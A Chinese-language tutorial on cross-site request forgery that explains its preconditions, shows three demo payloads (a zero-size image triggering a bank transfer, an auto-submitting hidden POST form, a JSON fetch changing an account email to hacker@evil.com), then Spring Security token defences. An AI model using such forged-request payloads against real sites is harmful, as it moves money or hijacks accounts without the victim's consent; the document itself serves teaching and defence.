CSRF攻击详解：如何让用户”自愿”转账？

1. 什么是CSRF攻击？

CSRF（跨站请求伪造，Cross-Site Request Forgery） 是一种利用用户已登录状态，诱骗其执行非预期操作的攻击方式。攻击者通过伪造请求，让用户在不知情的情况下完成转账、改密等敏感操作。

危害等级：🔥🔥🔥（中高危）
典型场景：银行转账、密码修改、购物车结算等需要身份验证的操作

2. CSRF攻击原理

攻击条件

1. 用户已登录目标网站（如银行网站）

2. 用户访问恶意页面（如钓鱼邮件中的链接）

3. 目标网站未校验请求来源

攻击流程

3. 实战攻击演示

(1) 基础GET型CSRF

<!-- 恶意页面代码 -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" width="0" height="0">

触发方式：用户访问含该图片的页面时，自动发起转账请求

(2) 表单POST型CSRF

<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="hacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>

特点：可伪造更复杂的POST请求

(3) JSON CSRF（需特殊条件）

fetch('https://api.example.com/change-email', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'hacker@evil.com'})
})

// Spring Security配置CSRF防护
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
  @Override
  protected void configure(HttpSecurity http) throws Exception {
    http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());
  }
}

<!-- 前端表单嵌入Token -->
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="${csrfToken}">
  <!-- 其他表单字段 -->
</form>